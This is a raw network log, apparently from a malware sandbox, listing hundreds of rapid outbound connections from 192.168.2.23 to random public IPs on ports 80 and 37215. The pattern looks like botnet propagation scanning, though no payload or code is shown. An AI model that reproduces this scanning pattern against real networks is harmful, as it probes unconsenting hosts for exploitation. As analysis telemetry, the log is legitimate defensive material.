Jan 2, 2024 06:23:45.193418026 CET	18377	80	192.168.2.23	197.244.44.36
Jan 2, 2024 06:23:45.193418026 CET	18377	80	192.168.2.23	152.65.227.187
Jan 2, 2024 06:23:45.193419933 CET	18377	80	192.168.2.23	117.40.134.96
Jan 2, 2024 06:23:45.193434954 CET	18377	80	192.168.2.23	147.13.185.76
Jan 2, 2024 06:23:45.193437099 CET	18377	80	192.168.2.23	38.141.37.4
Jan 2, 2024 06:23:45.193437099 CET	18377	80	192.168.2.23	139.176.173.13
Jan 2, 2024 06:23:45.193437099 CET	18377	80	192.168.2.23	57.168.152.93
Jan 2, 2024 06:23:45.193445921 CET	18377	80	192.168.2.23	150.82.144.167
Jan 2, 2024 06:23:45.193445921 CET	18377	80	192.168.2.23	27.216.160.149
Jan 2, 2024 06:23:45.193449020 CET	18377	80	192.168.2.23	46.2.73.36
Jan 2, 2024 06:23:45.193450928 CET	18377	80	192.168.2.23	186.27.220.155
Jan 2, 2024 06:23:45.193450928 CET	18377	80	192.168.2.23	19.13.207.14
Jan 2, 2024 06:23:45.193456888 CET	18377	80	192.168.2.23	175.28.20.126
Jan 2, 2024 06:23:45.193459988 CET	18377	80	192.168.2.23	4.231.244.129
Jan 2, 2024 06:23:45.193461895 CET	18377	80	192.168.2.23	177.185.13.55
Jan 2, 2024 06:23:45.193468094 CET	18377	80	192.168.2.23	69.43.90.65
Jan 2, 2024 06:23:45.193468094 CET	18377	80	192.168.2.23	41.157.82.179
Jan 2, 2024 06:23:45.193475962 CET	18377	80	192.168.2.23	80.172.144.227
Jan 2, 2024 06:23:45.193478107 CET	18377	80	192.168.2.23	173.105.217.39
Jan 2, 2024 06:23:45.193483114 CET	18377	80	192.168.2.23	220.122.214.186
Jan 2, 2024 06:23:45.193483114 CET	18377	80	192.168.2.23	148.53.251.170
Jan 2, 2024 06:23:45.193486929 CET	18377	80	192.168.2.23	52.201.31.91
Jan 2, 2024 06:23:45.193490982 CET	18377	80	192.168.2.23	162.17.141.162
Jan 2, 2024 06:23:45.193495035 CET	18377	80	192.168.2.23	68.107.241.96
Jan 2, 2024 06:23:45.193496943 CET	18377	80	192.168.2.23	213.200.24.123
Jan 2, 2024 06:23:45.193506002 CET	18377	80	192.168.2.23	23.119.42.71
Jan 2, 2024 06:23:45.193506002 CET	18377	80	192.168.2.23	120.6.171.190
Jan 2, 2024 06:23:45.193512917 CET	18377	80	192.168.2.23	121.216.33.250
Jan 2, 2024 06:23:45.193512917 CET	18377	80	192.168.2.23	154.216.248.140
Jan 2, 2024 06:23:45.193512917 CET	18377	80	192.168.2.23	46.71.195.49
Jan 2, 2024 06:23:45.193512917 CET	18377	80	192.168.2.23	25.21.54.222
Jan 2, 2024 06:23:45.193516970 CET	18377	80	192.168.2.23	128.118.129.222
Jan 2, 2024 06:23:45.193519115 CET	18377	80	192.168.2.23	175.66.126.202
Jan 2, 2024 06:23:45.193528891 CET	18377	80	192.168.2.23	152.128.1.9
Jan 2, 2024 06:23:45.193536997 CET	18377	80	192.168.2.23	165.46.232.172
Jan 2, 2024 06:23:45.193538904 CET	18377	80	192.168.2.23	92.123.164.14
Jan 2, 2024 06:23:45.193540096 CET	18377	80	192.168.2.23	142.52.100.226
Jan 2, 2024 06:23:45.193540096 CET	18377	80	192.168.2.23	72.48.70.229
Jan 2, 2024 06:23:45.193550110 CET	18377	80	192.168.2.23	194.21.141.140
Jan 2, 2024 06:23:45.193550110 CET	18377	80	192.168.2.23	17.120.138.62
Jan 2, 2024 06:23:45.193550110 CET	18377	80	192.168.2.23	17.64.63.225
Jan 2, 2024 06:23:45.193556070 CET	18377	80	192.168.2.23	81.231.28.109
Jan 2, 2024 06:23:45.193559885 CET	18377	80	192.168.2.23	14.237.53.176
Jan 2, 2024 06:23:45.193559885 CET	18377	80	192.168.2.23	194.150.220.8
Jan 2, 2024 06:23:45.193559885 CET	18377	80	192.168.2.23	167.237.176.251
Jan 2, 2024 06:23:45.193567038 CET	18377	80	192.168.2.23	148.137.177.1
Jan 2, 2024 06:23:45.193567991 CET	18377	80	192.168.2.23	52.82.43.43
Jan 2, 2024 06:23:45.193569899 CET	18377	80	192.168.2.23	149.83.96.124
Jan 2, 2024 06:23:45.193583012 CET	18377	80	192.168.2.23	145.68.90.224
Jan 2, 2024 06:23:45.193583012 CET	18377	80	192.168.2.23	173.252.161.8
Jan 2, 2024 06:23:45.193584919 CET	18377	80	192.168.2.23	170.196.186.96
Jan 2, 2024 06:23:45.193586111 CET	18377	80	192.168.2.23	76.122.97.61
Jan 2, 2024 06:23:45.193586111 CET	18377	80	192.168.2.23	153.75.3.240
Jan 2, 2024 06:23:45.193586111 CET	18377	80	192.168.2.23	157.49.246.114
Jan 2, 2024 06:23:45.193586111 CET	18377	80	192.168.2.23	211.74.53.191
Jan 2, 2024 06:23:45.193593979 CET	18377	80	192.168.2.23	217.249.30.211
Jan 2, 2024 06:23:45.193593979 CET	18377	80	192.168.2.23	88.127.153.45
Jan 2, 2024 06:23:45.193594933 CET	18377	80	192.168.2.23	96.232.36.35
Jan 2, 2024 06:23:45.193604946 CET	18377	80	192.168.2.23	117.98.94.4
Jan 2, 2024 06:23:45.193605900 CET	18377	80	192.168.2.23	179.87.72.63
Jan 2, 2024 06:23:45.193613052 CET	18377	80	192.168.2.23	48.199.167.88
Jan 2, 2024 06:23:45.193622112 CET	18377	80	192.168.2.23	24.152.9.182
Jan 2, 2024 06:23:45.193622112 CET	18377	80	192.168.2.23	95.41.38.53
Jan 2, 2024 06:23:45.193622112 CET	18377	80	192.168.2.23	113.165.169.9
Jan 2, 2024 06:23:45.193622112 CET	18377	80	192.168.2.23	186.177.83.191
Jan 2, 2024 06:23:45.193624020 CET	18377	80	192.168.2.23	207.82.253.254
Jan 2, 2024 06:23:45.193631887 CET	18377	80	192.168.2.23	85.67.109.202
Jan 2, 2024 06:23:45.193634987 CET	18377	80	192.168.2.23	88.223.203.143
Jan 2, 2024 06:23:45.193635941 CET	18377	80	192.168.2.23	187.172.5.13
Jan 2, 2024 06:23:45.193645000 CET	18377	80	192.168.2.23	72.103.60.74
Jan 2, 2024 06:23:45.193653107 CET	18377	80	192.168.2.23	41.90.68.225
Jan 2, 2024 06:23:45.193654060 CET	18377	80	192.168.2.23	149.213.189.219
Jan 2, 2024 06:23:45.193655968 CET	18377	80	192.168.2.23	4.71.185.111
Jan 2, 2024 06:23:45.193655968 CET	18377	80	192.168.2.23	85.33.234.36
Jan 2, 2024 06:23:45.193655968 CET	18377	80	192.168.2.23	181.54.89.117
Jan 2, 2024 06:23:45.193662882 CET	18377	80	192.168.2.23	191.58.241.210
Jan 2, 2024 06:23:45.193664074 CET	18377	80	192.168.2.23	59.106.228.161
Jan 2, 2024 06:23:45.193665028 CET	18377	80	192.168.2.23	123.187.95.165
Jan 2, 2024 06:23:45.193664074 CET	18377	80	192.168.2.23	205.66.10.165
Jan 2, 2024 06:23:45.193665981 CET	18377	80	192.168.2.23	221.166.52.196
Jan 2, 2024 06:23:45.193670034 CET	18377	80	192.168.2.23	134.117.0.37
Jan 2, 2024 06:23:45.193679094 CET	18377	80	192.168.2.23	117.28.43.224
Jan 2, 2024 06:23:45.193679094 CET	18377	80	192.168.2.23	183.98.20.19
Jan 2, 2024 06:23:45.193679094 CET	18377	80	192.168.2.23	196.20.29.214
Jan 2, 2024 06:23:45.193686962 CET	18377	80	192.168.2.23	152.6.27.184
Jan 2, 2024 06:23:45.193692923 CET	18377	80	192.168.2.23	71.234.114.155
Jan 2, 2024 06:23:45.193692923 CET	18377	80	192.168.2.23	196.55.250.166
Jan 2, 2024 06:23:45.193692923 CET	18377	80	192.168.2.23	13.32.18.134
Jan 2, 2024 06:23:45.193701982 CET	18377	80	192.168.2.23	52.105.173.155
Jan 2, 2024 06:23:45.193703890 CET	18377	80	192.168.2.23	118.228.138.120
Jan 2, 2024 06:23:45.193706036 CET	18377	80	192.168.2.23	88.204.75.170
Jan 2, 2024 06:23:45.193727970 CET	18377	80	192.168.2.23	195.9.89.238
Jan 2, 2024 06:23:45.193727970 CET	18377	80	192.168.2.23	129.13.92.35
Jan 2, 2024 06:23:45.193730116 CET	18377	80	192.168.2.23	114.139.4.37
Jan 2, 2024 06:23:45.193730116 CET	18377	80	192.168.2.23	193.124.225.93
Jan 2, 2024 06:23:45.193733931 CET	18377	80	192.168.2.23	131.170.11.246
Jan 2, 2024 06:23:45.193742990 CET	18377	80	192.168.2.23	117.247.151.129
Jan 2, 2024 06:23:45.193742990 CET	18377	80	192.168.2.23	50.179.78.171
Jan 2, 2024 06:23:45.193742990 CET	18377	80	192.168.2.23	124.116.98.189
Jan 2, 2024 06:23:45.193743944 CET	18377	80	192.168.2.23	95.6.59.47
Jan 2, 2024 06:23:45.193743944 CET	18377	80	192.168.2.23	60.151.184.6
Jan 2, 2024 06:23:45.193747044 CET	18377	80	192.168.2.23	131.181.205.46
Jan 2, 2024 06:23:45.193747044 CET	18377	80	192.168.2.23	93.96.249.45
Jan 2, 2024 06:23:45.193747997 CET	18377	80	192.168.2.23	171.6.12.247
Jan 2, 2024 06:23:45.193747997 CET	18377	80	192.168.2.23	122.129.80.6
Jan 2, 2024 06:23:45.193758011 CET	18377	80	192.168.2.23	128.131.244.215
Jan 2, 2024 06:23:45.193762064 CET	18377	80	192.168.2.23	61.148.206.238
Jan 2, 2024 06:23:45.193753958 CET	18377	80	192.168.2.23	192.24.136.157
Jan 2, 2024 06:23:45.193766117 CET	18377	80	192.168.2.23	61.216.41.215
Jan 2, 2024 06:23:45.193768024 CET	18377	80	192.168.2.23	171.164.66.254
Jan 2, 2024 06:23:45.193772078 CET	18377	80	192.168.2.23	40.122.246.211
Jan 2, 2024 06:23:45.193778038 CET	18377	80	192.168.2.23	89.165.212.12
Jan 2, 2024 06:23:45.193782091 CET	18377	80	192.168.2.23	186.220.88.84
Jan 2, 2024 06:23:45.193782091 CET	18377	80	192.168.2.23	75.97.158.148
Jan 2, 2024 06:23:45.193782091 CET	18377	80	192.168.2.23	187.78.127.27
Jan 2, 2024 06:23:45.193790913 CET	18377	80	192.168.2.23	98.124.124.129
Jan 2, 2024 06:23:45.193800926 CET	18377	80	192.168.2.23	44.87.87.33
Jan 2, 2024 06:23:45.193800926 CET	18377	80	192.168.2.23	213.9.145.153
Jan 2, 2024 06:23:45.193803072 CET	18377	80	192.168.2.23	131.210.114.100
Jan 2, 2024 06:23:45.193803072 CET	18377	80	192.168.2.23	213.210.185.202
Jan 2, 2024 06:23:45.193808079 CET	18377	80	192.168.2.23	192.163.54.114
Jan 2, 2024 06:23:45.193809986 CET	18377	80	192.168.2.23	174.132.228.40
Jan 2, 2024 06:23:45.193813086 CET	18377	80	192.168.2.23	59.101.147.34
Jan 2, 2024 06:23:45.193813086 CET	18377	80	192.168.2.23	184.169.26.118
Jan 2, 2024 06:23:45.193825006 CET	18377	80	192.168.2.23	205.81.124.20
Jan 2, 2024 06:23:45.193825006 CET	18377	80	192.168.2.23	179.172.55.208
Jan 2, 2024 06:23:45.193825006 CET	18377	80	192.168.2.23	97.250.140.2
Jan 2, 2024 06:23:45.193825006 CET	18377	80	192.168.2.23	202.151.45.181
Jan 2, 2024 06:23:45.193826914 CET	18377	80	192.168.2.23	190.207.33.210
Jan 2, 2024 06:23:45.193826914 CET	18377	80	192.168.2.23	169.68.230.137
Jan 2, 2024 06:23:45.193830013 CET	18377	80	192.168.2.23	66.221.20.31
Jan 2, 2024 06:23:45.193847895 CET	18377	80	192.168.2.23	183.10.128.221
Jan 2, 2024 06:23:45.193849087 CET	18377	80	192.168.2.23	36.81.222.190
Jan 2, 2024 06:23:45.193849087 CET	18377	80	192.168.2.23	178.44.32.12
Jan 2, 2024 06:23:45.193849087 CET	18377	80	192.168.2.23	168.12.217.201
Jan 2, 2024 06:23:45.193850994 CET	18377	80	192.168.2.23	72.51.7.80
Jan 2, 2024 06:23:45.193866014 CET	18377	80	192.168.2.23	44.164.253.32
Jan 2, 2024 06:23:45.193866014 CET	18377	80	192.168.2.23	220.99.134.164
Jan 2, 2024 06:23:45.193866968 CET	18377	80	192.168.2.23	147.152.132.106
Jan 2, 2024 06:23:45.193866968 CET	18377	80	192.168.2.23	58.101.28.49
Jan 2, 2024 06:23:45.193875074 CET	18377	80	192.168.2.23	123.5.230.116
Jan 2, 2024 06:23:45.193882942 CET	18377	80	192.168.2.23	73.95.225.73
Jan 2, 2024 06:23:45.193892956 CET	18377	80	192.168.2.23	71.158.118.167
Jan 2, 2024 06:23:45.193892956 CET	18377	80	192.168.2.23	186.119.2.69
Jan 2, 2024 06:23:45.193892956 CET	18377	80	192.168.2.23	24.170.175.72
Jan 2, 2024 06:23:45.193901062 CET	18377	80	192.168.2.23	43.76.126.36
Jan 2, 2024 06:23:45.193906069 CET	18377	80	192.168.2.23	58.53.2.142
Jan 2, 2024 06:23:45.193906069 CET	18377	80	192.168.2.23	217.136.69.101
Jan 2, 2024 06:23:45.193906069 CET	18377	80	192.168.2.23	91.199.95.249
Jan 2, 2024 06:23:45.193911076 CET	18377	80	192.168.2.23	47.32.41.57
Jan 2, 2024 06:23:45.193911076 CET	18377	80	192.168.2.23	46.206.54.51
Jan 2, 2024 06:23:45.193911076 CET	18377	80	192.168.2.23	166.178.169.224
Jan 2, 2024 06:23:45.193914890 CET	18377	80	192.168.2.23	196.144.224.155
Jan 2, 2024 06:23:45.193914890 CET	18377	80	192.168.2.23	162.244.107.143
Jan 2, 2024 06:23:45.193914890 CET	18377	80	192.168.2.23	110.149.147.156
Jan 2, 2024 06:23:45.193917036 CET	18377	80	192.168.2.23	149.15.7.140
Jan 2, 2024 06:23:45.193917036 CET	18377	80	192.168.2.23	171.166.203.40
Jan 2, 2024 06:23:45.193917036 CET	18377	80	192.168.2.23	198.17.240.45
Jan 2, 2024 06:23:45.193924904 CET	18377	80	192.168.2.23	142.58.46.97
Jan 2, 2024 06:23:45.193924904 CET	18377	80	192.168.2.23	216.200.118.244
Jan 2, 2024 06:23:45.193924904 CET	18377	80	192.168.2.23	193.45.163.64
Jan 2, 2024 06:23:45.193929911 CET	18377	80	192.168.2.23	72.1.24.186
Jan 2, 2024 06:23:45.193929911 CET	18377	80	192.168.2.23	68.59.50.141
Jan 2, 2024 06:23:45.193929911 CET	18377	80	192.168.2.23	159.174.156.65
Jan 2, 2024 06:23:45.193932056 CET	18377	80	192.168.2.23	122.130.176.105
Jan 2, 2024 06:23:45.193932056 CET	18377	80	192.168.2.23	159.73.24.175
Jan 2, 2024 06:23:45.193943024 CET	18377	80	192.168.2.23	51.236.130.98
Jan 2, 2024 06:23:45.193943977 CET	18377	80	192.168.2.23	62.248.138.222
Jan 2, 2024 06:23:45.193943977 CET	18377	80	192.168.2.23	159.106.242.20
Jan 2, 2024 06:23:45.193943977 CET	18377	80	192.168.2.23	46.62.146.232
Jan 2, 2024 06:23:45.193948030 CET	18377	80	192.168.2.23	74.36.136.39
Jan 2, 2024 06:23:45.193965912 CET	18377	80	192.168.2.23	218.226.61.102
Jan 2, 2024 06:23:45.193968058 CET	18377	80	192.168.2.23	46.235.28.253
Jan 2, 2024 06:23:45.193968058 CET	18377	80	192.168.2.23	47.16.35.79
Jan 2, 2024 06:23:45.193970919 CET	18377	80	192.168.2.23	61.62.120.46
Jan 2, 2024 06:23:45.193973064 CET	18377	80	192.168.2.23	156.236.231.57
Jan 2, 2024 06:23:45.193983078 CET	18377	80	192.168.2.23	154.215.9.155
Jan 2, 2024 06:23:45.193984985 CET	18377	80	192.168.2.23	18.86.55.45
Jan 2, 2024 06:23:45.193985939 CET	18377	80	192.168.2.23	104.67.234.215
Jan 2, 2024 06:23:45.193988085 CET	18377	80	192.168.2.23	166.120.17.253
Jan 2, 2024 06:23:45.193988085 CET	18377	80	192.168.2.23	188.189.97.240
Jan 2, 2024 06:23:45.193993092 CET	18377	80	192.168.2.23	143.27.12.210
Jan 2, 2024 06:23:45.193994045 CET	18377	80	192.168.2.23	130.255.234.9
Jan 2, 2024 06:23:45.193994045 CET	18377	80	192.168.2.23	137.95.110.113
Jan 2, 2024 06:23:45.194008112 CET	18377	80	192.168.2.23	125.47.242.230
Jan 2, 2024 06:23:45.194011927 CET	18377	80	192.168.2.23	68.40.34.249
Jan 2, 2024 06:23:45.194011927 CET	18377	80	192.168.2.23	152.229.166.148
Jan 2, 2024 06:23:45.194017887 CET	18377	80	192.168.2.23	98.116.110.27
Jan 2, 2024 06:23:45.194020033 CET	18377	80	192.168.2.23	17.21.17.53
Jan 2, 2024 06:23:45.194020987 CET	18377	80	192.168.2.23	35.153.150.219
Jan 2, 2024 06:23:45.194024086 CET	18377	80	192.168.2.23	175.20.99.158
Jan 2, 2024 06:23:45.194031954 CET	18377	80	192.168.2.23	177.194.131.158
Jan 2, 2024 06:23:45.194035053 CET	18377	80	192.168.2.23	158.58.255.168
Jan 2, 2024 06:23:45.194039106 CET	18377	80	192.168.2.23	82.17.139.221
Jan 2, 2024 06:23:45.194040060 CET	18377	80	192.168.2.23	5.26.96.52
Jan 2, 2024 06:23:45.194047928 CET	18377	80	192.168.2.23	53.158.57.200
Jan 2, 2024 06:23:45.194048882 CET	18377	80	192.168.2.23	176.123.214.216
Jan 2, 2024 06:23:45.194060087 CET	18377	80	192.168.2.23	165.39.172.94
Jan 2, 2024 06:23:45.194060087 CET	18377	80	192.168.2.23	76.27.71.105
Jan 2, 2024 06:23:45.194067001 CET	18377	80	192.168.2.23	27.9.85.45
Jan 2, 2024 06:23:45.194072962 CET	18377	80	192.168.2.23	177.254.160.34
Jan 2, 2024 06:23:45.194072962 CET	18377	80	192.168.2.23	182.210.180.210
Jan 2, 2024 06:23:45.194072962 CET	18377	80	192.168.2.23	89.155.129.39
Jan 2, 2024 06:23:45.194072962 CET	18377	80	192.168.2.23	150.94.86.107
Jan 2, 2024 06:23:45.194078922 CET	18377	80	192.168.2.23	158.145.44.78
Jan 2, 2024 06:23:45.194078922 CET	18377	80	192.168.2.23	165.198.219.58
Jan 2, 2024 06:23:45.194092989 CET	18377	80	192.168.2.23	90.6.11.160
Jan 2, 2024 06:23:45.194092989 CET	18377	80	192.168.2.23	206.54.252.226
Jan 2, 2024 06:23:45.194092989 CET	18377	80	192.168.2.23	93.221.194.125
Jan 2, 2024 06:23:45.194098949 CET	18377	80	192.168.2.23	163.219.2.205
Jan 2, 2024 06:23:45.194098949 CET	18377	80	192.168.2.23	87.225.110.167
Jan 2, 2024 06:23:45.194098949 CET	18377	80	192.168.2.23	17.106.242.54
Jan 2, 2024 06:23:45.194099903 CET	18377	80	192.168.2.23	99.40.72.71
Jan 2, 2024 06:23:45.194107056 CET	18377	80	192.168.2.23	193.176.114.71
Jan 2, 2024 06:23:45.194107056 CET	18377	80	192.168.2.23	64.51.192.104
Jan 2, 2024 06:23:45.194109917 CET	18377	80	192.168.2.23	70.101.71.68
Jan 2, 2024 06:23:45.194112062 CET	18377	80	192.168.2.23	84.4.181.125
Jan 2, 2024 06:23:45.194112062 CET	18377	80	192.168.2.23	186.53.18.220
Jan 2, 2024 06:23:45.194114923 CET	18377	80	192.168.2.23	48.17.110.14
Jan 2, 2024 06:23:45.194120884 CET	18377	80	192.168.2.23	74.82.95.50
Jan 2, 2024 06:23:45.194128990 CET	18377	80	192.168.2.23	163.79.96.192
Jan 2, 2024 06:23:45.194133997 CET	18377	80	192.168.2.23	218.195.51.149
Jan 2, 2024 06:23:45.194144964 CET	18377	80	192.168.2.23	201.205.29.127
Jan 2, 2024 06:23:45.194147110 CET	18377	80	192.168.2.23	37.85.2.124
Jan 2, 2024 06:23:45.194148064 CET	18377	80	192.168.2.23	151.151.181.117
Jan 2, 2024 06:23:45.194148064 CET	18377	80	192.168.2.23	198.139.185.230
Jan 2, 2024 06:23:45.194149017 CET	18377	80	192.168.2.23	198.17.222.6
Jan 2, 2024 06:23:45.194148064 CET	18377	80	192.168.2.23	167.224.64.60
Jan 2, 2024 06:23:45.194154024 CET	18377	80	192.168.2.23	97.210.31.63
Jan 2, 2024 06:23:45.194164038 CET	18377	80	192.168.2.23	94.156.121.250
Jan 2, 2024 06:23:45.194164038 CET	18377	80	192.168.2.23	152.130.105.233
Jan 2, 2024 06:23:45.194168091 CET	18377	80	192.168.2.23	101.228.132.240
Jan 2, 2024 06:23:45.194175959 CET	18377	80	192.168.2.23	68.34.75.66
Jan 2, 2024 06:23:45.194175959 CET	18377	80	192.168.2.23	175.20.140.6
Jan 2, 2024 06:23:45.194180965 CET	18377	80	192.168.2.23	50.126.220.15
Jan 2, 2024 06:23:45.194183111 CET	18377	80	192.168.2.23	23.187.112.31
Jan 2, 2024 06:23:45.194183111 CET	18377	80	192.168.2.23	135.77.105.156
Jan 2, 2024 06:23:45.194188118 CET	18377	80	192.168.2.23	207.47.109.128
Jan 2, 2024 06:23:45.194195032 CET	18377	80	192.168.2.23	195.107.165.132
Jan 2, 2024 06:23:45.194205999 CET	18377	80	192.168.2.23	137.167.147.27
Jan 2, 2024 06:23:45.194209099 CET	18377	80	192.168.2.23	157.111.168.66
Jan 2, 2024 06:23:45.194209099 CET	18377	80	192.168.2.23	103.44.124.17
Jan 2, 2024 06:23:45.194212914 CET	18377	80	192.168.2.23	218.122.129.186
Jan 2, 2024 06:23:45.194220066 CET	18377	80	192.168.2.23	102.211.34.225
Jan 2, 2024 06:23:45.194230080 CET	18377	80	192.168.2.23	128.111.167.98
Jan 2, 2024 06:23:45.194237947 CET	18377	80	192.168.2.23	104.51.171.231
Jan 2, 2024 06:23:45.194258928 CET	18377	80	192.168.2.23	90.224.241.228
Jan 2, 2024 06:23:45.194258928 CET	18377	80	192.168.2.23	165.19.220.108
Jan 2, 2024 06:23:45.208431959 CET	24529	37215	192.168.2.23	197.146.237.109
Jan 2, 2024 06:23:45.208432913 CET	24529	37215	192.168.2.23	41.225.153.137
Jan 2, 2024 06:23:45.208444118 CET	24529	37215	192.168.2.23	197.71.173.109
Jan 2, 2024 06:23:45.208467960 CET	24529	37215	192.168.2.23	41.208.242.93
Jan 2, 2024 06:23:45.208472013 CET	24529	37215	192.168.2.23	197.88.110.56
Jan 2, 2024 06:23:45.208473921 CET	24529	37215	192.168.2.23	197.213.212.91
Jan 2, 2024 06:23:45.208473921 CET	24529	37215	192.168.2.23	41.147.45.202
Jan 2, 2024 06:23:45.208477974 CET	24529	37215	192.168.2.23	156.188.196.120
Jan 2, 2024 06:23:45.208477974 CET	24529	37215	192.168.2.23	41.188.180.25
Jan 2, 2024 06:23:45.208503008 CET	24529	37215	192.168.2.23	197.184.240.89
Jan 2, 2024 06:23:45.208508968 CET	24529	37215	192.168.2.23	41.93.201.94
Jan 2, 2024 06:23:45.208511114 CET	24529	37215	192.168.2.23	41.224.89.220
Jan 2, 2024 06:23:45.208511114 CET	24529	37215	192.168.2.23	156.186.29.12
Jan 2, 2024 06:23:45.208513021 CET	24529	37215	192.168.2.23	156.7.89.175
Jan 2, 2024 06:23:45.208525896 CET	24529	37215	192.168.2.23	41.78.177.104
Jan 2, 2024 06:23:45.208527088 CET	24529	37215	192.168.2.23	156.111.8.83
Jan 2, 2024 06:23:45.208534956 CET	24529	37215	192.168.2.23	197.109.215.56
Jan 2, 2024 06:23:45.208537102 CET	24529	37215	192.168.2.23	41.131.228.45
Jan 2, 2024 06:23:45.208540916 CET	24529	37215	192.168.2.23	156.176.41.8
Jan 2, 2024 06:23:45.208545923 CET	24529	37215	192.168.2.23	41.148.114.240
Jan 2, 2024 06:23:45.208545923 CET	24529	37215	192.168.2.23	156.134.64.9
Jan 2, 2024 06:23:45.208549976 CET	24529	37215	192.168.2.23	156.223.43.116
Jan 2, 2024 06:23:45.208549976 CET	24529	37215	192.168.2.23	41.210.58.27
Jan 2, 2024 06:23:45.208566904 CET	24529	37215	192.168.2.23	197.73.125.70
Jan 2, 2024 06:23:45.208575010 CET	24529	37215	192.168.2.23	197.104.243.245
Jan 2, 2024 06:23:45.208575964 CET	24529	37215	192.168.2.23	41.125.18.29
Jan 2, 2024 06:23:45.208575964 CET	24529	37215	192.168.2.23	41.21.8.51
Jan 2, 2024 06:23:45.208578110 CET	24529	37215	192.168.2.23	41.125.120.196
Jan 2, 2024 06:23:45.208584070 CET	24529	37215	192.168.2.23	156.28.253.147
Jan 2, 2024 06:23:45.208585024 CET	24529	37215	192.168.2.23	156.33.87.218
Jan 2, 2024 06:23:45.208586931 CET	24529	37215	192.168.2.23	197.103.214.148
Jan 2, 2024 06:23:45.208596945 CET	24529	37215	192.168.2.23	197.149.80.130
Jan 2, 2024 06:23:45.208606005 CET	24529	37215	192.168.2.23	197.5.91.214
Jan 2, 2024 06:23:45.208606005 CET	24529	37215	192.168.2.23	41.211.2.10
Jan 2, 2024 06:23:45.208606005 CET	24529	37215	192.168.2.23	41.222.66.148
Jan 2, 2024 06:23:45.208606005 CET	24529	37215	192.168.2.23	156.101.66.26
Jan 2, 2024 06:23:45.208611012 CET	24529	37215	192.168.2.23	41.77.181.229
Jan 2, 2024 06:23:45.208622932 CET	24529	37215	192.168.2.23	156.90.50.12
Jan 2, 2024 06:23:45.208626032 CET	24529	37215	192.168.2.23	156.117.187.129
Jan 2, 2024 06:23:45.208638906 CET	24529	37215	192.168.2.23	41.232.4.97
Jan 2, 2024 06:23:45.208641052 CET	24529	37215	192.168.2.23	156.79.246.135
Jan 2, 2024 06:23:45.208642006 CET	24529	37215	192.168.2.23	41.139.181.125
Jan 2, 2024 06:23:45.208652973 CET	24529	37215	192.168.2.23	41.193.79.111
Jan 2, 2024 06:23:45.208653927 CET	24529	37215	192.168.2.23	156.185.119.207
Jan 2, 2024 06:23:45.208653927 CET	24529	37215	192.168.2.23	41.160.136.150
Jan 2, 2024 06:23:45.208669901 CET	24529	37215	192.168.2.23	41.130.127.209
Jan 2, 2024 06:23:45.208669901 CET	24529	37215	192.168.2.23	41.221.84.102
Jan 2, 2024 06:23:45.208669901 CET	24529	37215	192.168.2.23	41.148.232.190
Jan 2, 2024 06:23:45.208679914 CET	24529	37215	192.168.2.23	41.29.23.32
Jan 2, 2024 06:23:45.208697081 CET	24529	37215	192.168.2.23	41.35.54.53
Jan 2, 2024 06:23:45.208700895 CET	24529	37215	192.168.2.23	156.26.184.75
Jan 2, 2024 06:23:45.208702087 CET	24529	37215	192.168.2.23	197.122.12.11
Jan 2, 2024 06:23:45.208705902 CET	24529	37215	192.168.2.23	41.127.177.126
Jan 2, 2024 06:23:45.208710909 CET	24529	37215	192.168.2.23	156.115.224.167
Jan 2, 2024 06:23:45.208713055 CET	24529	37215	192.168.2.23	41.142.193.214
Jan 2, 2024 06:23:45.208718061 CET	24529	37215	192.168.2.23	41.161.73.242
Jan 2, 2024 06:23:45.208726883 CET	24529	37215	192.168.2.23	197.131.33.34
Jan 2, 2024 06:23:45.208728075 CET	24529	37215	192.168.2.23	41.188.125.8
Jan 2, 2024 06:23:45.208729029 CET	24529	37215	192.168.2.23	41.152.103.182
Jan 2, 2024 06:23:45.208745003 CET	24529	37215	192.168.2.23	41.21.219.103
Jan 2, 2024 06:23:45.208751917 CET	24529	37215	192.168.2.23	41.57.205.93
Jan 2, 2024 06:23:45.208755016 CET	24529	37215	192.168.2.23	41.236.177.13
Jan 2, 2024 06:23:45.208759069 CET	24529	37215	192.168.2.23	197.123.36.115
Jan 2, 2024 06:23:45.208760023 CET	24529	37215	192.168.2.23	41.200.176.224
Jan 2, 2024 06:23:45.208760977 CET	24529	37215	192.168.2.23	41.60.210.158
Jan 2, 2024 06:23:45.208770037 CET	24529	37215	192.168.2.23	197.161.224.134
Jan 2, 2024 06:23:45.208781004 CET	24529	37215	192.168.2.23	41.207.246.132
Jan 2, 2024 06:23:45.208785057 CET	24529	37215	192.168.2.23	41.104.145.90
Jan 2, 2024 06:23:45.208786011 CET	24529	37215	192.168.2.23	197.6.230.94
Jan 2, 2024 06:23:45.208791018 CET	24529	37215	192.168.2.23	156.66.115.19
Jan 2, 2024 06:23:45.208791018 CET	24529	37215	192.168.2.23	156.166.155.26
Jan 2, 2024 06:23:45.208806038 CET	24529	37215	192.168.2.23	156.58.200.250
Jan 2, 2024 06:23:45.208807945 CET	24529	37215	192.168.2.23	197.106.206.54
Jan 2, 2024 06:23:45.208815098 CET	24529	37215	192.168.2.23	156.111.52.33
Jan 2, 2024 06:23:45.208817959 CET	24529	37215	192.168.2.23	156.9.0.87
Jan 2, 2024 06:23:45.208820105 CET	24529	37215	192.168.2.23	197.46.10.156
Jan 2, 2024 06:23:45.208833933 CET	24529	37215	192.168.2.23	41.118.237.247
Jan 2, 2024 06:23:45.208837986 CET	24529	37215	192.168.2.23	197.69.79.146
Jan 2, 2024 06:23:45.208842039 CET	24529	37215	192.168.2.23	156.11.85.45
Jan 2, 2024 06:23:45.208842039 CET	24529	37215	192.168.2.23	156.69.14.213
Jan 2, 2024 06:23:45.208842039 CET	24529	37215	192.168.2.23	156.239.79.99
Jan 2, 2024 06:23:45.208856106 CET	24529	37215	192.168.2.23	197.26.71.164
Jan 2, 2024 06:23:45.208858013 CET	24529	37215	192.168.2.23	197.203.98.178
Jan 2, 2024 06:23:45.208858013 CET	24529	37215	192.168.2.23	41.33.37.21
Jan 2, 2024 06:23:45.208863974 CET	24529	37215	192.168.2.23	41.19.163.135
Jan 2, 2024 06:23:45.208865881 CET	24529	37215	192.168.2.23	197.125.19.60
Jan 2, 2024 06:23:45.208869934 CET	24529	37215	192.168.2.23	41.235.107.239
Jan 2, 2024 06:23:45.208873987 CET	24529	37215	192.168.2.23	41.243.230.173
Jan 2, 2024 06:23:45.208883047 CET	24529	37215	192.168.2.23	197.119.224.200
Jan 2, 2024 06:23:45.208893061 CET	24529	37215	192.168.2.23	156.203.143.205
